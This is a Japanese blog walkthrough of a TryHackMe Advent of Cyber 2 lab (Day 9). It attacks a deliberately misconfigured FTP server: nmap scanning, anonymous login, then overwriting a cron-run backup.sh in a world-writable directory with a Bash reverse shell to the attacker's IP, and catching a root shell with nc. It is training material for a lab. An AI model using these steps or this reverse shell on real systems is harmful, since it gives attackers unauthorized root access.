LoginSignup
0

More than 3 years have passed since last update.

[TryHackMe] Advent of Cyber 2, Day 9 - Walkthrough -

Last updated at Posted at 2020-12-10

本稿では、TryHackMeにて提供されている「Advent of Cyber 2」ルームに関する攻略方法(Walkthrough)について検証します。
「Advent of Cyber 2」は「free room」(無料)で提供されています。購読を必要とせずに仮想マシンを「展開(Deploy)」することができます。

『Advent of Cyber 2』のWalkthroughインデックスを「[TryHackMe] Advent of Cyber 2に参加してみた」にて公開しました。

[Day 9] Networking: Anyone can be Santa! - Prelude

ストーリー

Day09.png

サンタさんでさえ、2020年は「在宅勤務」の倫理観を採用しなければならない状況になっています。サンタさんを助けるため、エルフ・McSkidyとそのチームはFTPプロトコルを使用する The Best Festival Company(TBFC) 専用ファイルサーバーを用意しました。しかし、攻撃者はこの新しいサーバーのハッキングに成功しました。あなたの任務は、このハッキングがどのようにして発生したのかを理解し、攻撃者の足跡を辿ることです。

Day 9 - #1.

Question #1: Name the directory on the FTP server that has data accessible by the "anonymous" user

IPアドレス MACHINE_IPtbfc.netとして、/etc/hostsに追加します。その上で、nmapを使用し、ポートスキャンを実行します。
解答はnmapコマンドの出力結果における「[NSE: writeable]」フラグがヒントです。

kali@kali:~$ nmap -Pn -T4 -A -v tbfc.net
Starting Nmap 7.80 ( https://nmap.org ) at 2020-12-09 19:49 EST
Nmap scan report for tbfc.net (10.10.248.226)
Host is up (0.26s latency).
Not shown: 998 closed ports
PORT   STATE SERVICE VERSION
21/tcp open  ftp     vsftpd 2.0.8 or later
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
| drwxr-xr-x    2 0        0            4096 Nov 16 15:04 backups
| drwxr-xr-x    2 0        0            4096 Nov 16 15:05 elf_workshops
| drwxr-xr-x    2 0        0            4096 Nov 16 15:04 human_resources
|_drwxrwxrwx    2 65534    65534        4096 Nov 16 19:35 public [NSE: writeable]
| ftp-syst: 
|   STAT: 
| FTP server status:
|      Connected to ::ffff:10.11.19.198
|      Logged in as ftp
|      TYPE: ASCII
|      No session bandwidth limit
|      Session timeout in seconds is 300
|      Control connection is plain text
|      Data connections will be plain text
|      At session startup, client count was 4
|      vsFTPd 3.0.3 - secure, fast, stable
|_End of status
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 f6:ce:52:11:22:9e:b1:c0:ae:45:2a:f9:2f:70:eb:cb (RSA)
|   256 4b:77:b2:d4:76:53:8c:ec:cb:be:3a:69:51:ff:3c:8f (ECDSA)
|_  256 53:3f:2f:ca:c2:d6:ce:ec:99:30:f7:1f:ce:a5:d7:f5 (ED25519)
Service Info: Host: Welcome; OS: Linux; CPE: cpe:/o:linux:linux_kernel

firefox.png

Day 9 - #2.

Question #2: What script gets executed within this directory?

ftp://tbfc.netサーバについて探索してみます。

kali@kali:~$ ftp tbfc.net
Connected to tbfc.net.
220 Welcome to the TBFC FTP Server!.
Name (tbfc.net:kali): anonymous
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
drwxr-xr-x    2 0        0            4096 Nov 16 15:04 backups
drwxr-xr-x    2 0        0            4096 Nov 16 15:05 elf_workshops
drwxr-xr-x    2 0        0            4096 Nov 16 15:04 human_resources
drwxrwxrwx    2 65534    65534        4096 Nov 16 19:35 public
226 Directory send OK.
ftp> cd public
250 Directory successfully changed.
ftp> ls -al
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
drwxrwxrwx    2 65534    65534        4096 Nov 16 19:35 .
drwxr-xr-x    6 65534    65534        4096 Nov 16 15:06 ..
-rwxr-xr-x    1 111      113           341 Nov 16 19:34 backup.sh
-rw-rw-rw-    1 111      113            24 Nov 16 19:35 shoppinglist.txt
226 Directory send OK.

解答は/publicディレクトリに存在する.shファイルです。

Day 9 - #3.

Question #3: What movie did Santa have on his Christmas shopping list?

ftp://tbfc.netサーバの/publicディレクトリにshoppinglist.txtファイルがあります。
これをローカルにダウンロードします。

ftp> pwd
257 "/public" is the current directory
ftp> get shoppinglist.txt
local: shoppinglist.txt remote: shoppinglist.txt
200 PORT command successful. Consider using PASV.
150 Opening BINARY mode data connection for shoppinglist.txt (24 bytes).
226 Transfer complete.
24 bytes received in 0.00 secs (172.3345 kB/s)
ftp> quit
221 Goodbye.

shoppinglist.txtファイルの内容を確認してみましょう。

kali@kali:~$ cat shoppinglist.txt 
The Polar Express Movie

解答は「ポーラー・エクスプレス」の英題です。

ポーラー・エクスプレスは、1985年に出版された絵本を原作とする2004年公開のアメリカ映画です。

Day 9 - #4.

Question #4: Re-upload this script to contain malicious data (just like we did in section 9.6. Output the contents of /root/flag.txt!

Day 9 - #2.にて確認したスクリプトファイルをローカルにダウンロードします。内容を確認してみましょう。

backup.sh
ated by ElfMcEager to backup all of Santa's goodies!

# Create backups to include date DD/MM/YYYY
filename="backup_`date +%d`_`date +%m`_`date +%Y`.tar.gz";

# Backup FTP folder and store in elfmceager's home directory
tar -zcvf /home/elfmceager/$filename /opt/ftp

# TO-DO: Automate transfer of backups to backup server

backup_sh.png

コメント以外は、ここで何が起こるのかを理解する必要はありません。このスクリプトは(エルフ・McEagerによると)毎分実行され、フォルダのバックアップを作成し、エルフ・McEagerのホームディレクトリに保存されます。このスクリプトで実行されるコマンドを独自の悪意のあるコマンドに置き換えてみたらどうなりますか?ファイルをアップロードするには、「匿名」ユーザーに付与してはならない別のパーミッションが必要です。しかし、パーミッション設定は非常に簡単に見落としがちです - ここでのケースのように。

pentestmonkeyのサイトには、「Reverse Shell Cheat Sheet」が公表されています。
ここでは、Bachのリバースシェルを参照します。

bash -i >& /dev/tcp/<attacker IP>/8080 0>&1

backup.shスクリプトで実行されるコマンドをBashリバースシェルに書き換えます。
reverse_sh.png

攻撃端末側でncコマンド構文を使用し、リバースシェルからの接続を待ち受けます。

kali@kali:~$ nc -nlvp 8080
listening on [any] 8080 ...

ftp://tbfc.netサーバの/publicディレクトリに書き換えたbackup.shスクリプトをアップロードします。
PUTコマンドを使用します。

kali@kali:~$ ftp tbfc.net
Connected to tbfc.net.
220 Welcome to the TBFC FTP Server!.
Name (tbfc.net:kali): anonymous
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
drwxr-xr-x    2 0        0            4096 Nov 16 15:04 backups
drwxr-xr-x    2 0        0            4096 Nov 16 15:05 elf_workshops
drwxr-xr-x    2 0        0            4096 Nov 16 15:04 human_resources
drwxrwxrwx    2 65534    65534        4096 Dec 10 01:49 public
226 Directory send OK.
ftp> cd public
250 Directory successfully changed.
ftp> put backup.sh
local: backup.sh remote: backup.sh
200 PORT command successful. Consider using PASV.
150 Ok to send data.
226 Transfer complete.
337 bytes sent in 0.00 secs (3.6111 MB/s)
ftp> quit
221 Goodbye.
kali@kali:~$

書き換えたbackup.shスクリプトをアップロードしてから約1分後にrootユーザーとしてtbfc-ftp-01サーバへの接続に成功しました。
hack.png

flag.txtファイルの内容について確認しましょう。

kali@kali:~$ nc -nlvp 8080
listening on [any] 8080 ...
connect to [10.11.19.198] from (UNKNOWN) [10.10.248.226] 34954
bash: cannot set terminal process group (2029): Inappropriate ioctl for device
bash: no job control in this shell
root@tbfc-ftp-01:~# pwd
pwd
/root
root@tbfc-ftp-01:~# ls
ls
flag.txt
root@tbfc-ftp-01:~# cat flag.txt
cat flag.txt
THM{even{BLOCKED}anta}

9日目のミッションが終了です。

参考になるTryHackMeのルーム

Walkthrough

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
0